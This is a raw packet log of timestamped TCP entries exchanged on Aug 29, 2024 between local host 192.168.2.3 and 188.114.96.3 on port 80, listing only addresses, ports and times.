Aug 29, 2024 12:14:41.165590048 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.165605068 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.165628910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.166286945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.166307926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.166316986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.166330099 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.166357994 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.166377068 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.166388035 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.166407108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.166409016 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.166418076 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.166435003 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.166435957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.166451931 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.166477919 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194119930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194144964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194156885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194169044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194180965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194192886 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194206953 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194220066 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194259882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194261074 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194272041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194283962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194295883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194302082 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194308996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194325924 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194348097 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194397926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194413900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194427967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194437027 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194442034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194454908 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194458008 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194473028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194488049 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194503069 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194510937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194542885 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194598913 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194611073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194622040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194633007 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194639921 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194644928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194653988 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194665909 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194689989 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194715977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194750071 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194785118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194803953 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194818020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194818974 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194828033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194840908 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194854021 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194880009 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194901943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194916010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194930077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194933891 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194942951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194956064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194961071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.194977045 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.194993973 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.195005894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195015907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195033073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195036888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.195036888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.195044994 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195059061 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195065975 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.195070028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195091963 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.195107937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.195238113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195250034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195261002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195271969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195276022 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.195282936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195295095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195297956 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.195319891 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.195338964 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.195586920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195635080 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.195636034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195648909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195660114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.195669889 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.195687056 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.195703030 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.252767086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.252794981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.252818108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.252830982 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.252844095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.252856016 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.252876997 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.252888918 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.252887011 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.252909899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.252922058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.252928972 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.252933979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.252948999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.252963066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.252979040 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.253001928 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.253010035 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.253024101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.253034115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.253045082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.253051043 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.253057957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.253072977 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.253098011 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.253129959 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.253142118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.253163099 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.253187895 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.253199100 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.253211021 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.253223896 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.253233910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.253233910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.253248930 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.253268957 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.254910946 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.254934072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.254946947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.254955053 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.254960060 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.254966021 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.254975080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.254981041 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.254991055 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.254998922 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255009890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255017042 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255029917 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255033970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255050898 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255062103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255199909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255213976 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255224943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255237103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255249977 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255265951 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255368948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255409956 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255635977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255654097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255666018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255675077 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255691051 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255705118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255733967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255747080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255759001 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255767107 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255783081 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255801916 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255827904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255841017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255851984 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255861044 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255863905 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.255880117 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.255894899 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.256189108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.256201029 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.256213903 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.256230116 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.256252050 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.256263018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.256273985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.256285906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.256303072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.256305933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.256311893 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.256319046 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.256328106 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.256333113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.256345987 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.256362915 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.256401062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.256433010 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.256444931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.256457090 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.256477118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.256500006 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.256524086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.256541014 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.256557941 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.256575108 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.257555008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.257575989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.257589102 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.257600069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.257607937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.257611990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.257625103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.257627964 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.257647038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.257661104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.257664919 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.257680893 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.257705927 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.285324097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285351992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285365105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285377026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285394907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285407066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285419941 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285430908 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285433054 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.285443068 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285454988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285459995 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.285468102 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285485029 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285516024 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.285535097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285546064 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285556078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.285557032 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285566092 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.285569906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285582066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285594940 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.285619020 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.285764933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285777092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285789013 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285799980 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.285804987 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285818100 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285829067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.285828114 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.285852909 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.285870075 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.285995960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286007881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286020041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286031008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286034107 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286045074 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286056995 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286058903 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286068916 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286082983 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286086082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286113977 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286128998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286139965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286149979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286153078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286159039 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286163092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286176920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286186934 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286195040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286209106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286214113 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286221027 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286231041 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286235094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286247015 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286256075 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286261082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286286116 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286299944 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286482096 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286494017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286506891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286514997 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286519051 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286530972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286534071 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286544085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286545038 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286557913 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.286565065 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286587954 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.286611080 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.344090939 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344120979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344134092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344147921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344161034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344172955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344185114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344191074 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.344206095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344221115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344238043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344245911 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.344258070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344269991 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344281912 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344294071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344307899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344309092 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.344319105 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.344327927 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344340086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344341993 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.344352961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344356060 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.344366074 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344378948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344383001 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.344392061 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.344414949 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.344433069 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.345976114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346024036 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.346046925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346060991 CEST	80	62660	188.114.96.3	192.168.2.3
